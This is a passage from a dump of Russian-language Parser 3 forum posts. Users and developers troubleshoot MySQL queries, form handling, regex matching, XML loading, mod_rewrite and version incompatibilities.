			sorting,\
			parent_id\
		FROM\
			t_sections\
		WHERE\
			parent_id = $curRazdel.parent_id\
			and sorting = ^form:sorting.int[]\
	}]\
	^if($resortRazdel){\
		^MAIN:pSQL.void{\
			UPDATE\
				t_sections\
			SET\
				sorting = $curRazdel.sorting\
			WHERE\
				id = $resortRazdel.id\
				and parent_id = $curRazdel.parent_id\
		}\
		^MAIN:pSQL.void{\
			UPDATE\
				t_sections\
			SET\
				sorting = ^form:sorting.int[]\
			WHERE\
				id = $form:id\
		}\
	}\
}[/code]"
"54158","И если мне из 30 хотя бы пунктов нужно 30 сделать 1 - мне нужно перезагрузить страницу 30 раз? Многовато будет.\
\
Лучше все таки один раз :)"
"54159","использовать парсерные конструкции.\
1. оздать хеш или таблицу\
2. поработать с ней\
3. результат этой работы сохранять в БД\
\
ТОлько как бы это на парсере реализовать вот в чем вопрос.? пока ни чего не получается"
"54161","Сортировка ведется от 0.\
например, мы назначем порядок сортировки для раздела 6.\
если раздел с таким порядком сортировки уже есть мы меняем порядки сортировки."
"54162","есть основной xml со своим пространством имен, у него есть xslt который из второго справочного xml должен добавить данные в один из тегов первого xml, причем xslt представляет этот тег в HTML как  <select><option>...</select>, так вот в эти <option>... надо добавить данные из справочного xml, чтобы воспользоваться <select> и выбранный <option> записать в тег основного xml. Проблема на уровне xslt-преобразования или такое вообще невозможно? Сам проект на aspx"
"54164","Можно ли с помощью парсера выдёргивать теги из mp3?"
"54165","Но возможно есть внешний скрипт, сделав exec которого можно получить желаемое."
"54166","спасибо"
"54167","и точную версию parser и os."
"54168","Если попытаться загрузить:\
\
$xdoc[^xdoc::load[http://www.cbr.ru/scripts/XML_daily.asp]]\
\
То будет ошибка:\
\
I/O warning : failed to load external entity \"http://www.cbr.ru/scripts/XML_daily.asp\"\
\
Если сохранить на диск то загужается нормально в чём может быть проблема ?"
"54169","http://www.parser.ru/forum/?id=53606\
\
FreeBSD версия работает нормально."
"54171","Имееться код:\
[code]<html>\
  <head>\
    <title>123</title>\
  </head>\
  <body>\
  <FORM action=\"213.html\" method=\"POST\" enctype=\"multipart/form-data\">\
    ^if(def $form:228){\
    $form:228\
    }{\
    <INPUT type=\"text\" name=\"228\">\
    <INPUT type=\"submit\" value=\"Послать на...\">\
  }\
  </FORM>\
  </body>\
</html>[/code]\
(необрашайте внимание на простоту это для примера)\
При его исполнении получаю:\
Unhandled Exception\
post_size(0) != content_length(171)\
\
F.A.Q читал, так вот не могли бы вы сказать в чём проблема (в FAQ написано что проблема в конфигурации сервера, не могли бы вы сказать конкретно в конфигурации какой её части )Причём в PHP скриптах post передаёться нормально! В чём проблема?"
"54172","Ситуация следующая - делаю пост/гет кириллического текста Ajax`ом с помощью класса Ajax.Updater библиотеки Prototype. Перед тем, как отправлять данные формы, делаю escape значений:\
[code]\
function getHTML()\
	{\
		var url = '/handler.html';\
		var test = escape($F('test'));\
		var pars = 'test=' + test ;\
		var myAjax = new Ajax.Updater('placeholder', url, {method: 'post', parameters: pars});\
\
	}\
[/code]\
В итоге, на handler.html, в зависимости от типа отправки, [i]$request:body/$request:query[/i] выглядит как\
[code]\
test=%uXXXX...%uXXXX\
[/code]\
Но [i]$form:test/$form:fields.test[/i] оказывается неопределенной, то есть при обращении к ней, браузер ничего не печатает. Это происходит именно с escape`ом кириллицы, если использовать encodeURIComponent, то [i]$form:test/$form:fields.test[/i] определена.\
Я не могу найти ответ, может кто-нибудь сталкивался?"
"54173","Возможно из-за нагрузки на SQL сервер, Вы немного подправили запросы к БД.\
Но тогда как им пользоваться?\
Раньше я просто в строке поиска писал:\
[code]\
result must not contain more then one row\
[/code]\
и мог найти подходящий тред. Сейчас на тот же запрос я получаю где-то 20 страниц, процентов 90 относятся только к \"result\"... Даже к \"$result\"..."
"54175","Я могу Вам дать функцию для выдирания ID3 на PHP. Её несложно переписать на Parser..."
"54178","^try{\
$xml_file[^file::load[text;http://www.cbr.ru/scripts/XML_daily.asp]]\
^xml_file.save[text;/content/serv/valute/${n_date}.xml]\
}{\
      ^if(!def $xml_file){$exception.handled(true) $con_eror[Нет соединения сервером]}\
}\
\
^if(-f \"/content/serv/valute/${n_date}.xml\"){\
	$xdoc[^xdoc::load[/content/serv/valute/${n_date}.xml]]"
"54179","[code]\
^try{\
	$fFile[^file::load[text;http://www.cbr.ru/scripts/XML_daily.asp]]\
	$xDoc[^xdoc::create{$fFile.text}]\
}{\
	^if(!def $fFile){\
		$exception.handled(true)\
		$con_eror[Нет соединения сервером]\
	}\
}\
[/code]"
"54180","Пока есть такой вариант: http://www.parser.ru/forum/?id=53607"
"54181","Вы сталкивались с этой проблемой и нашли выход в Subsys_JsHttpRequest или просто указали на правильный, с Вашей точки зрения, метод решения задачи? Мне, например, указанная Вами библиотека не нравится, на мой взгляд, Prototype намного удобней. \
Просто не понятно, почему в теле запроса присутствует список параметров, а обратится к ним поименно нельзя."
"54182","Ибо невозможно считывать нужные байты файла.\
http://www.parser.ru/forum/?id=45344"
"54184","забавно вы читали описание протокола, что недоглядели слона."
"54185","неправильное.\
правильно: html или xml или text."
"54186","хранить данные в базе данных, и потом \"поднимать\" их в XML. мы так делаем."
"54187","в документации и в форуме.\
но 3 раза подумайте, не сделать ли иначе."
"54188","Я знаю, как декодировать %uXXXX в кириллицу. Вопрос в другом - почему в теле запроса параметры передаются в виде нормального списка - test=%uXXXX&test2=%uXXXX, а через $form:XXXX доступа к ним нет? В любом случае, я уже нашел альтернативный способ решения данной задачи и написал простой оператор, который создает хэш из любого списка параметров типа [b]par1=xxx&par2=xxx&par3=xxx[/b].\
Кому интересно:\
[code]\
@get_values[string][string;rep;parts;part;param;value]\
$rep[^table::create{from	to\
таблица %uXXXX в кириллицу\
}]\
$parts[^string.split[&;lv]]\
$values[^hash::create[]]\
^parts.menu{\
	$part[^parts.piece.split[=;lh]]	\
	$param[$part.0]\
	$value[$part.1]\
	$value[^value.replace[$rep]]\
	$values.$param[$value]\
}\
[/code]\
Значение параметра доступно через $values.имя_параметра."
"54189","вы можете предпринять некие усилия, и пойдёт получше.\
обсуждалось.."
"54190","посмотрите, пожалуйста на http://www.parser.ru/forum/?id=54103\
\
Bug воспроизводится и у меня на mod_parser 3.2.1 sp2 (win32)"
"54191","а про 60% автор, наверняка, загнул.\
лично я, не проверив, не стал бы верить и этим цифрам. пусть и от уважаемого автора.\
\
Стив хотел донести важную мысль, но пример выбрал [b]абсолютно[/b] неудачный.\
\
Пример тут был призван показать одно из важных заблуждений, но нужно не забывать, как завещал великий Штирлиц, что человек запоминает только последние слова.\
\
Нужно было выбрать максимально скверный пример оптимизации. Чтобы у читателя, по прочтении, остался в голове пример, как делать не надо! (нужно на подсознание… легонько нажимать)\
Мы же видим пример вполне правильного подхода.\
\
Сходу правильного примера для этой ситуации не придумаю, но это не значит, что его нет. Дока по Parser прошла 6 редакций [b]перед[/b] выходом в свет."
"54192","[i]чё[/i]йто patch на эту тему в моём inbox нету."
"54193","предлагаю остальные таблицы назвать\
figovinki\
shtukovinki\
shtucki\
druchki\
и запустить большой join"
"54194","возьмите пустой apache, возьмите доку от второго parser, возьмите терпение."
"54195","их уже за нас с вами (за прикладных разрабочиков) подумали авторы больших баз данных.\
там это называется partitioning, и можно разбросать одну таблицу по нескольким носителям для ускорения дискового доступа.\
\
если любопытно, почитайте и о такой забавной штуковине: j-odbc (sequoia)."
"54196","то, что вы описали является неописуемым безобразием."
"54197","примем patch."
"54198","если хотите хоть как-то правильно сделать, обязательно разделите код, представляющий ваши данные и сами данные на [b]два разных[/b] класса.\
\
тут много литературы, раз есть желание, почитайте. keyword: MVC (Model-View-Controller)."
"54199","отойдите от компьютера (мало отошли, подальше)\
и копните в душе, спросите себя: \"а почему на самом деле я не хочу сделать ворох таблиц?\"\
\
мир состоит из разнородных вещей, и наши с вами проекты его часть.\
и хотя положить в одну таблицу ежей и воздушные шарики вполне можно, тут есть свои недостатки.\
\
мы давно и радостно пользуемся PowerDesigner для рисования таблиц.\
после 60 таблиц мы особенно ценим возможность просматривать общую схему отдельными view.\
принтеры, умеющие печатать A3, молодцы."
"54200","Parser не понимает что за фигня выходит приходит от яваскрипта, поэтому и не определяет переменные формы."
"54202","Т.е. правильно ли я понял что применительно к парсер это должно выглядеть примерно так?:\
1. Отдельный класс где описываются методы работы с данными (запросы к БД, распихивание если нужно в переменные ...)\
2. Отдельный класс где описываются методы вывода и формирование таблиц с данными"
"54203","Каким образом парсер узнает, как была сгенерирована строка /?preved=ja_fignja_ot_javascripta ? То же самое касается и тела запроса. Формат передачи параметров одинаковый - par=val, а как уж они были отправлены, насколько я знаю, значения не имеет. Или я ошибаюсь?"
"54205","PAF сказал, что это у него в ToDo. Спасибо всем."
"54207","...у вас не приходят данные переданные с помощью js. если они есть, парсер их показывает при обращении к $form:name, и я например (и не только), это использую (упоминаемый класс + чат в примерах).\
\
т.е. вам надо раобраться почему ваш js передает данные таким странным образом, что парсер не может с ними разобраться."
"54208","Но, API FCK достаточно хорошо продокументировано, и, я думаю, за пару-тройку дней можно сваять файл-менеждер на его базе.\
\
Я в этом уверен, т.к. были у меня глюки с регитсрацией при его использовании на сайте, в результате чего, можно было им пользоваться напрямую..."
"54210","хорошие новости:\
- работает значительно быстрее чем like\
- результаты упорядочиваются по релевантности (наиболее релевантные вверху)\
\
описание: http://dev.mysql.com/doc/refman/5.1/en/fulltext-search.html\
\
операторы, которые можно использовать в поисковых запросах: http://dev.mysql.com/doc/refman/5.1/en/fulltext-boolean.html (думаю скоро следаю выдержку в faq)\
\
P.S. не все из написанного может работать, т.к. дока по MySQL 5.1, а у нас тут пока 4.0."
"54211","в крышку гроба ориентирования по дате сообщения :-(\
Сначала фильтр исчез, теперь порядок в поиске. Жаль.\
\
UPD. Конечно, я понимаю, что это плохо, в первую очередь, для тех кто здесь относительно давно."
"54214","[url=\"http://www.parser.ru/forum/?terms=%2B%EF%EE%E6%E0%EB%F3%E9%F1%F2%E0+-%E2%EE%F1%EF%EE%EB%FC%E7%F3%E9%F2%E5%F1%FC&author=&doSearch=%CD%E0%E9%F2%E8\"]+пожалуйста -воспользуйтесь[/url]\
\
Может, ну его нафик?! ;-)"
"54218","[color=\"#999999\"]##############################################[/color]\
[color=\"#999999\"]###[/color][color=\"#00ff00\"]##[/color][color=\"#999999\"]######[/color][b]####[/b][color=\"#999999\"]###[/color][b]###[/b][color=\"#999999\"]###[/color][b]####[/b][color=\"#999999\"]##[/color][b]####[/b][color=\"#999999\"]##[/color][b]###[/b][color=\"#999999\"]##[/color][b]####[/b][color=\"#999999\"]#[/color]\
[color=\"#999999\"]##[/color][color=\"#00ff00\"]#[/color][color=\"#999999\"]##[/color][color=\"#00ff00\"]#[/color][color=\"#999999\"]#########[/color][b]#[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]###[/color][b]#[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]#####[/color][b]#[/b][color=\"#999999\"]#####[/color][b]#[/b][color=\"#999999\"]####[/color][b]#[/b][color=\"#999999\"]#####[/color]\
[color=\"#999999\"]#[/color][color=\"#00ff00\"]#[/color][color=\"#999999\"]####[/color][color=\"#00ff00\"]#[/color][color=\"#999999\"]########[/color][b]#[/b][color=\"#999999\"]#[/color][b]#####[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]######[/color][b]###[/b][color=\"#999999\"]##[/color][b]####[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]#####[/color]\
[color=\"#999999\"]###############[/color][b]#[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]###[/color][b]#[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]#########[/color][b]#[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]####[/color][b]#[/b][color=\"#999999\"]#####[/color]\
[color=\"#999999\"]###########[/color][b]####[/b][color=\"#999999\"]##[/color][b]#[/b][color=\"#999999\"]###[/color][b]#[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]#####[/color][b]####[/b][color=\"#999999\"]###[/color][b]###[/b][color=\"#999999\"]#[/color][b]#[/b][color=\"#999999\"]#####[/color]\
[color=\"#999999\"]###########[/color][b]#[/b][color=\"#999999\"]##################################[/color]\
[color=\"#999999\"]###########[/color][b]#[/b][color=\"#999999\"]##################################[/color]\
[color=\"#999999\"]###########[/color][b]#[/b][color=\"#999999\"]##################################[/color]\
[color=\"#999999\"]##############################################[/color]"
"54219","поставил класс. изменил в файлах $MAIN:pSQL на $MAIN:db\
Т.е. фактически получил.\
[code]^MAIN:db.server{\
	^rem{ *** создаем объект класса auth *** }\
	$auth[^auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:db]]][/code]\
_auth_setpwd.html изменил пароль... далее получается так... \
auth.p(973:23): 'now' undefined method [parser.runtime]\
\
Хотя это определено в sql-ях.... править их считаю - не правильно.... поэтому и понять не могу в чём дело..."
"54220","менять $MAIN:pSQL на $MAIN:db"
"54224","_auth_info.html(6:26): 'now' undefined method [parser.runtime]\
\
[code]^MAIN:db.server{^MAIN:db.now[]}[/code]"
"54225","он использует эти методы. в моих sql классах эти методы есть. если вы написали свои - добавьте туда упоминаемые методы."
"54226","[code]$MAIN:db[^sql::init[$connect_string]]\
^MAIN:db.server{^MAIN:db.int{SELECT  COUNT(*) `auser`}}[/code]\
выдаёт 0, хотя там не пусто... Видимо с подключением проблема... :( не пойму пока почему...\
$connect_string прописана верно, так как в других местах это работает. Пробовал и так\
[code]$db[^sql::init[$connect_string]]\
^db.server{^db.int{SELECT  COUNT(*) `auser`}}[/code]\
странно почему?\
\
подключение пробовал и @USE и ^use..."
"54230","С mysql::init ни чего не работает, в том числе ^db.server{^db.int{SELECT  COUNT(*) from `auser`}}"
"54231","предлагаю с этим: \"... ни чего не работает ...\" сходить в FAQ"
"54234","Надо: чтобы слова заменялись ссылками, вне зависимости от окончания слова.\
\
Делаю: [code]$body[^body.match[(компани+)][g]{<a href=\"/help/3/\">$match.1</a>}][/code]\
\
Результат: выделяется именно часть слова. Куда копать?"
"54235","Запросы типа ^db.int{SELECT  COUNT(*) from `auser`}\
а вот такие - нет! ^db.today[], ^db.now[]\
\
пишет\
'now' undefined method [parser.runtime]\
\
ПОЧЕМУ ТУТ ГЛЮК??? я понимаю, что это скорее всего руки кривые, но не понятно тогда, как правильно???"
"54236","\"найди мне текст, начинающийся с последовательности 'компан', за которым может идти одна или более букв 'и'\".\
\
очевидно что надо так:\
\"найди мне текст, начинающийся с последовательности 'компани', за которым может идти одна или более любых букв\"\
\
надеюсь сами сможете поправить? :)"
"54237","...мне, когда голова уже едет иногда помогает.\
\
Рекомендую:\
http://www.parser.ru/forum/?id=51168"
"54238","С ошибкой всё понятно.\
.now[] - это в mysql.p описано, там же и today и много других функций. В данном случае, я не пойму почему эта ошибка возникает! ведь классы подключены, запросы обычные table, int и т.д. работают на ура, а вот эти now, today, и т.д. не фурычат. Вот из-за этой ошибки у меня и не работает класс авторизации."
"54239","[code]body.match[(компани+.)][g]{<a href=\"/help/3/\">$match.1</a>}[/code]\
\
Работает то работает, но теперь не работает:\
\
[code]^body.match[(работодател+.)][g]{<a href=\"/help/2/\">$match.1</a>}[/code]\
\
Точка, это ведь все символы?"
"54240","Решается подстановкой еще одной точки..."
"54243","[code]^body.match[(работодател[ьеймяю]+)][g]{<a href=\"/help/2/\">$match.1</a>[/code]"
"54244","впрочем, парсер для этого и не предназначен."
"54245","переменные = плохой термин, выкиньте его из головы.\
да, в документации понятия поле/переменная используются взаимозаменяемо, для простоты изложения. по сути это так и есть. однако думать о них лучше отдельно ;)\
\
в классической модели классов больше. вы не упомянули контроллер, вчитайтесь.\
\
ещё правильно разделить model и механизм хранения её в базе.\
\
smalex сделал ряд шагов в этом направлении, однако исходиками публично пока не делился. возможно, ему не лень будет разжевать это здесь. возможно, нет.\
\
идеи эти простые и доступные. литературы много. раз есть желание, всё получится. будет не лень, приходите тут и расскажите о результате."
"54246","в папке /cgi-bin/ появился файл parser.cgi.core, который весил 500 мегов!!! Из-за него, как оказалось, мне отключили хостинг за превышение дискового пространства...."
"54247","Правильный замечает проблему и пишет клиенту письмо / звонит.\
\
На будущее создайте рядом с parser3.cgi файл нулевой длины parser3.cgi.core и запретите Апачу write."
"54248","[code]^body.match[(работодател[^^\\b]+)][g]{<a href=\"/help/2/\">$match.1</a>[/code]\
\
можно конечно перечислить буквы, или целиком подставить символьный класс [а-я], но я почем-уто сомневаюсь что в тексте будет подобное: работодател4,5-=\
\
Здесь же мы определяем довольно жёстко, все символы до границы слова. Если после букв стоят знаки препинания, скобки, тире, они не попадут в это правило. Цифры по-моему тоже, хотя это не точно."
"54249","Я сам в парсере не разбираюсь (и разбираться с ним нет времени и желания) просто возникла необходимость перенести сайты с апача под виндой на апач под FreeBSD 5.4, один сайт перенесся нормально и все работает и с mysql работает нормально, а один ругается, что ему надо я не мойму, тот кто писал код тож ни че сказать не может, может ктонить из местных спецов может посмотреть кусок кода и сказать что ему не нравиться ?"
"54250","Пожалуйста, приведите сообщения об ошибках, цитаты из логов сервера."
"54251",":) Ну сосбсно вот какую ошибку мне выкидывает\
\
now\
is 'date', not a method or junction, can not call it\
/usr/local/www/data/3wrez/../classes/articles.p(215:44) \
--------------------------------------------------------------------------------\
body /usr/local/www/data/3wrez/../classes/sql.p(167:22) \
body /usr/local/www/data/3wrez/../classes/sql.p(102:9) \
is_sql /usr/local/www/data/3wrez/../classes/sql.p(102:2) \
sql /usr/local/www/data/3wrez/../classes/sql.p(167:10) \
table /usr/local/www/data/3wrez/../classes/articles.p(198:20) \
params /usr/local/www/data/3wrez/../classes/articles.p(198:2) \
getArticles /usr/local/www/data/3wrez/index.html(64:19) \
mainBody /usr/local/www/data/3wrez/index.html(38:50) \
contentPage /usr/local/www/data/3wrez/auto.p(33:2) \
body /usr/local/www/data/3wrez/../classes/sql.p(72:28) \
connect /usr/local/www/data/3wrez/../classes/sql.p(72:2) \
server /usr/local/www/data/3wrez/auto.p(32:12) \
\
Мне кажется что трабла где то в коде потому и не стал сразу выкладывать сюда суть проблеммы, но опять же, все то же самое работает на виндовом апаче, так же работает у хостера на FreeBSD 4."
"54253","Ошибка в articles.p, в строке 215, столбце 44.\
\
Перешлите этот файл \"тому, кто писал сайт\", процитируйте сообщение об ошибке. \
\
Если автор не справится, опубликуйте файл здесь (только не забудьте пометить проблемную строчку в своём сообщении).\
\
\
P.S. \"Проблема\" пишется с одним \"м\". \"Не нравится\" пишется без мягкого знака после \"т\"."
"54254",":)\
инглишь я знаю, то что ошибка в этой строке я понял, я сразу и говорил что ошибка где то в коде, суть в том что автор кода сказал что не знает в чем проблемма, и еще раз говорю что на двух других системмах тот же код работает без проблем, вот та строка на которую ругается парсер:\
\
dt_published <= ^MAIN:pSQL.now[]\
\
вот как описывается pSQL\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.cache_dir[/../data/sql_cache]]]\
\
какталог ../data/sql_cache существует, права на него стоят 777"
"54256","вас интересуют два файла: sql.p и mysql.p \
\
суть проблемы: у вас на win установлен \"старый\" парсер, который не воспринимал как ошибку тот факт, что в классе могли быть определены и переменная и метод с одним и тем-же именем (в вашем случае есть переменная $now класса date и метод @now[]). в новых серсиях файлов это поправлено.\
\
ещё один вариант решения проблемы: на *nix хостинг установить ту же самую версию парсера (как узнать версию парсера написано в FAQ).\
\
P.S. не зебудьте забакапить ваши файлы на всякий случай."
"54257","[code]\
#Проверка расширений\
^if(def $self.ex && $BASE:stop != 1){\
	$_file[$form:$name]\
	$extension[^file:justext[$_file.name]]\
	^ex.foreach[key;value]{\
		^if($break!=1){\
				^if($extension ne '$value'){\
					$self.error[$self.ex_e]\
					$self.invalid(1)\
				}{\
					$break(1)\
					\
					$self.error[]\
					$self.invalid(0)\
				}\
			}\
		}\
}\
[/code]\
\
Ошибка :\
[i]\
justext\
undefined method\
[/i]\
\
Файл существует. Форма:\
<form method=\"post\" enctype=\"multipart/form-data\">\
Не пойму что не так.."
"54258","ПРблема разрешилась, спасибо"
"54262","пробуйте упростить и отправить ПАФ-у bug.zip, хотя у меня такое работает:\
\
[code]\
$str[]\
=^file:justext[$str]=\
[/code]\
\
в 'justext' не затесалась русская буква?"
"54263","[code]$_file[$form:$name][/code]\
Замените на:\
[code]$_file[$form:[$name]][/code]\
Что-то изменилось?"
"54265","с буквами вроде всё нормально.\
\
как оформить bug.zip и что туда вложить?"
"54267","плюс версия парсера и тип (cgi, isapi, модуль апача), название и версия вебсервера, версия ОС."
"54269","Я к либе для форм решил добавить класс для объекта формы \"файл\".\
И назвал его file - отсюда и глюки были. Извеняюсь еще раз."
"54270","обычно упрощение кода все подобные \"проблемы\" и решает."
"54271","какая разница когда была опубликована умная мысль?\
\
самый релевантный результат нужно найти вне зависимости от его даты. и если он был в прошлом веке он все равно должен быть на первой, а не на пятнадцатой странице.\
\
хотя на самом деле с полнотекстовым поиском в boolean mode не все чисто с релевантностью (её там нет). похоже придется сортировать по датам в обратном порядке. :("
"54272",">обычно упрощение кода все подобные \"проблемы\" и решает.\
эх.. привык я уже к своей либе, формы строить, проверять - одна радость :)"
"54273","Неужто в доку не углубился?..\
Делай в запросе дважды матч, первый именуй как столбец, он тебе вернёт релевантность и сортируй по нему.\
При этом оптимизатор два матча уловит и правильно тебя поймёт.\
\
Или ты не об этом?.."
"54275","ты про такое:\
[code]\
SELECT\
	*\
FROM\
	table\
WHERE\
	MATCH (name, body) AGAINST ('+пожалуйста -воспользуйтесь' IN BOOLEAN MODE)\
ORDER BY\
	MATCH (name, body) AGAINST ('+пожалуйста -воспользуйтесь') DESC\
[/code]\
?\
\
если про него то:\
1. первый match/against и второй - это два _разных_ запроса, и они будут вычисляться по разному\
2. первый и второй match/against ищут разное: первый в boolean mode, а второй - нет. т.е. второй будет считать релевантность без учета операторов, а это релевантность не того, что искали."
"54276","Запрос типа:\
[code]SELECT\
	name,\
	body,\
	MATCH (name, body) AGAINST ('+пожалуйста -воспользуйтесь' IN BOOLEAN MODE)\
AS\
	relevance\
FROM\
	table\
WHERE\
	MATCH (name, body) AGAINST ('+пожалуйста -воспользуйтесь' IN BOOLEAN MODE)\
ORDER BY\
	relevance\
DESC[/code]\
не спасёт отца русской демократии? :)"
"54277","MATCH (name, body) AGAINST ('+пожалуйста -воспользуйтесь' IN BOOLEAN MODE) возвращает всегда '1.0' и далее хоть обсортируйся.\
насколько я понял этот режим поиска назван boolean потому, что тут получаем результат: \"есть вхождение или его нет\". точка."
"54278","я все к тому что надо наверное посмотреть на то что мы хотим создать в целом и потом решать. \
\
P.S. а у автора топика тут точно ежи с шарами :)))"
"54279","Создадим древовидню таблицу (например [b]portal[/b]), которая будет описывать общую структуру \"Портала\" + описание \"стиля\" каждого элемента (например, тот-же style.xsl).\
\
Далее, создаем таблицы для \"ежей\" и для \"шариков\" и где-нибудь прописываем структуру этих таблиц, в частности, поля... Хотябы в той же таблице [b]portal[/b]..."
"54280","create table text (line varchar(255));\
insert into text set line = ''; -- строка пустая\
insert into text set line = NULL; -- строка не определена\
$text[^table::sql{select line from text}]\
\
как найти в тексте не определенные строки (отличить их от пустых)?"
"54281","можно попробовать что-нить такое:\
[code]\
$tText[^table::sql{\
select\
	line,\
	IF(line IS NULL, 1, 0) AS is_null\
from\
	text\
}]\
[/code]"
"54282","было\
[code]\
^body.match[(работодател[^^\\b]+)][\
[/code]\
стало\
[code]\
^body.match[работодател\\w+][\
[/code]"
"54283","core файл = образ памяти процесса на момент смерти.\
500M значит ваш код бесконтрольно поедал память и от того умер (out of memory, перехвачено, core создаётся по сигналу 6).\
\
то, что хостер не ограничивает память у пользвательских процессов = скверно, поскольку один пользватель на этом хостинге легко может навредить другому. так быть не должно.\
\
т.е. сегодня ваш скрипт немного сбрендил, завтра у другого человека = коммунальная квартира со ссорами на кухне.\
\
у нормального хостера с вовсе недраконовскими правилами хостинга мы видели по 600 виртуальных серверов на средней мощности машине."
"54284","В IE, FireFox такая конструкция работает, в Opera 9.0 - сохраняется HTML файл вместо имеющегося rar. Как можно это поправить?"
"54286","У меня работает следующее:\
\
[code]$tText[^table::sql{\
select\
	line,\
	line IS NULL AS is_null\
from\
	text\
}][/code]\
\
Или это только в MySQL?"
"54287","При разработке сайта я настроил, чтобы любой html-файл показывался как папка. Т. е. /page.html отображается /page/ - мне это показалось хорошим решением для очистки URL и удобной поддержки сайта. Делаю так:\
[code]RewriteEngine on\
RewriteRule (.*)/$ $1.html[/code]\
Всё просто. Локально всё работает.\
Но при закачке на сервер выяснилось, что там это работает лишь частично. См. http://parser.chubrik.ru/ .\
Обратите внимание, меню работает исправно, но содержикое страницы не появляется. Добавляем в адрес расширение — видим контент.\
\
Я только начал осваивать Parser и, вот, к сожалению, упёрся в такую проблему.\
Если это проблема сервера, то на что нужно смотреть? Буду рад любой помощи."
"54288","Хотя, может это и моя вина.... я  писал коды вообще не думая о затратах на память... там целый форум стоит не на БД, а на файликах."
"54289","Если вы делали как в примере, то должно работать, у меня по крайней мере работает в Opera 9."
"54290","Класс авторизации...\
Всё вроде сделал, но не понятен один факт... Всегда после 3-го нажатия по ссылкам, приходится снова вводить пароль... Причём именно после третьего нажатия... Это так задумано???"
"54291","[code]\
^if($form:cmd eq 'download'){\
	$response:download[^file::load[binary;/price/arh/${form:id}.${out.ex}]]\
...\
}\
[/code]\
\
А вызывается так: \
http://123.ru/price/?cmd=download&id=19"
"54293","Сделайте ровно как в примере и будет вам счастье."
"54294","Ну а почему обязательно делать так? Не очень понятно, в чем разница: вызывать $response:download из метода или вызывать его со страницы.."
"54296","Аркадий, подскажите пожалуйста как вы реализовали дерево ссылок в левой части? Очень важный для меня щас вопрос, т.к. тоже работаю над одним сайтом.\
Ответить можете на почту finraag@ya.ru"
"54298","попробуйте немного изменить правило:\
RewriteRule ^(.*)/$ /$1.html [L,QSA]\
\
если не поможет, то включайте log для rewrite (см. в доке) и смотрите что именно у вас происходит."
"54299","Заработало только для тех html-файлов, у которых существуют папки с аналогичным именем, например, /products/.\
А, скажем, для /partners/ возникает ошибка:\
[code][Wed Jul  5 13:10:07 2006] [11858] /partners/: '/users/c/h/chubrik.ru/html/parser/partners.html.html' read failed: No such file or directory (2), actual filename '/users/c/h/chubrik.ru/html/parser/partners.html.html' [file.missing]\
[/code]\
Откуда-то возникает двойное расширение.\
Кстати, до этого записей в log'ах не возникало."
"54300","Вот какой у меня вопрос возник...\
\
Пишу класс, который должен делать выборку из нескольких таблиц в БД и формировать XML такого примерно вида:\
\
[code]<item>\
  <subitem>\
    <sussubitem/>\
    <sussubitem/>\
    <sussubitem/>\
  </subitem>\
  <subitem>\
    <sussubitem/>\
    <sussubitem/>\
    <sussubitem/>\
  </subitem>\
</item>\
<item>\
  <subitem>\
    <sussubitem/>\
    <sussubitem/>\
    <sussubitem/>\
  </subitem>\
  <subitem>\
    <sussubitem/>\
    <sussubitem/>\
    <sussubitem/>\
  </subitem>\
</item>[/code]\
\
Есть два варианта (их конечно больше, но я рассматривал два):\
1) Собирать весь XML сразу при помощи вложенных ^table.menu\
2) Сделать три куска XML (в одном все <item/>, в другом <subitem/>, в третьем <sussubitem>), а потом собрать из них итоговый документ при помощи XSLT.\
\
Какой вариант предпочтительнее?\
С точки зрения скорости, памяти, идеологии.\
\
Чтобы не быть голословным, вот как выглядят соответственно\
[b]<item>:[/b]\
<metro id=\"1\" name=\"Авиамоторная\">\
...\
</metro>\
\
[b]<subitem>:[/b]\
<building id=\"8503\" agent=\"7\" frommetro=\"7\" type=\"3\" class=\"1\" firstline=\"1\" floors=\"3\">\
<street>Авиамоторная ул.</street>\
...\
</building>\
\
[b]<subsubitem>:[/b]\
<square id=\"11660\" dogovor=\"2\" type=\"2\" floor=\"2\" guard=\"3\" mgts=\"2\" internet=\"2\" remont=\"3\">\
<price all_price=\"825\" sp_price=\"450\" nds=\"1\" commun=\"1\"/>\
<comission price=\"825\" comission_free=\"1\"/>\
<planning sq=\"22\" type=\"3\" />\
</square>"
"54302","Сейчас этим и занимаюсь.\
\
А с идеологической точки зрения что правильнее?"
"54304","т.к. будет возможность делать выбор степени вложенности элементов"
"54307","URL странички [i]http://www.domen.com/en/aup/1/[/i]\
\
[code]^menu_1.menu{\
	^if(in $menu_1.uri){\
		active <br>\
	}{\
		$menu_1.uri <br>\
	} \
}[/code]\
\
выводит в браузере такое:\
\
/aup/ \
/com/ \
/affiliate_program/\
\
по логике весчей - вместо \"/aup/\" должно было бы быть \"active\"\
\
что сделал перед тем, как написать сюда:\
пробывал различные комбинации типа\
[code]in $menu_1.uri\
in \"$menu_1.uri\"\
in ${menu_1.uri}\
in \"${menu_1.uri}\"[/code]\
а так же читал доку... помогите..."
"54309","а то я думал, что просто парсится URL, и если найдена такая папочка - то будет счастье =)"
"54310","Дерево ссылок слева это первое, что я реализовал на Parser’е, можно сказать, первая проба. Сам жутко рад, что оно работает.\
Спасибо авторам Parser’а за доступную документацию."
"54311","..и ходит через провайдера - местную \"Электросвязь\"?\
\
У вас сидит вирус, который потрошит вашу адресную книгу и рассылает копии себя с темами вида \"Привет, как дела?\"\
\
Вылечите свой компьютер, пожалуйста!"
"54312","Можно данное дерево использовать как для формирования меню-дерева: для этого достаточно 2-го уровня item/subitem. При этом нет необходимости доставать из базы данные для subitem.\
\
...так и для построения полного дерева item/subitem/subsubitem\
\
(хотя, я бы отказался от разных названий для узлов и остановился на item/item/item, т.к. может оказаться что 3-х уровней не достаточно)"
"54313","что самое интересное, что ошибка появляется только в файлах, уровень вложености которых привышает 2 (тоесть они находятся в /1/2/tut/i_tut/i_tut_toje_ne_rabotaet/ )\
\
в чём гвоздь проблемы?"
